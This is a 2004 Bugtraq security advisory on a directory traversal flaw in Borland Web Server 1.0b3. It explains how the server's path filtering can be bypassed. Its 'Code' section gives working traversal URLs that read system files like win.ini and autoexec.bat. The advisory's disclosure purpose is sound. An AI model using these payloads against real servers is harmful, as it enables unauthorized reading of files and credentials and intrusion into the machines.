BWS v1.0b3 Directory Transversal Vulnerability

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To: "bugtraq" <bugtraq@securityfocus.com>
Date: Sat, 24 Jan 2004 20:56:06 +0200

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application: BWS (Borland Web Server / (Corel Paradox)
Vendors:
http://www.Borland.com
http://www.Corel.com
Corporate mergers confuses the specified vendor.

Versions: <= 1.0b3
Platforms: Windows
Bug: Directory Transversal Vulnerability
Risk: High
Exploitation: remote with browser
Date: 24 Jan 2004
Author: Rafel Ivgi, The-Insider
e-mail: the_insider@mail.com
web: http://theinsider.deep-ice.com

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1) Introduction
2) Bug
3) The Code

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===============
1) Introduction
===============

BWS is an old web server used as a webserver for "Corel Paradox relational
database web interface".
This server was version was built in year 98, and is mostly running on
win98.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

======
2) Bug
======

The webserver uses a protection to avoid the directory traversal bug.
"//" is replaced to ""
"\." and "\.." is replaced to ""
"\" is replaced to "/"
"\\" is replaced to "//"
The server is also protected from classic Directory Transversal "/../".

The problem happens when the attacker uses the pattern:
"/..................../"
Or
"/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c" (Encoded version of
"\..\..\..\..\").

Which allows him to see and download any file in the remote system knowing
the path.
This allows any attacker to : Read and download any local file, and in most
cases retrieve the machine's password files and invade it (using
ssh,ftp,http,netbios,samba etc...).

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===========
3) The Code
===========

http://>/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini
http://>/..................../autoexec.bat

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

---
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com
"Things that are unlikeable, are NOT impossible."

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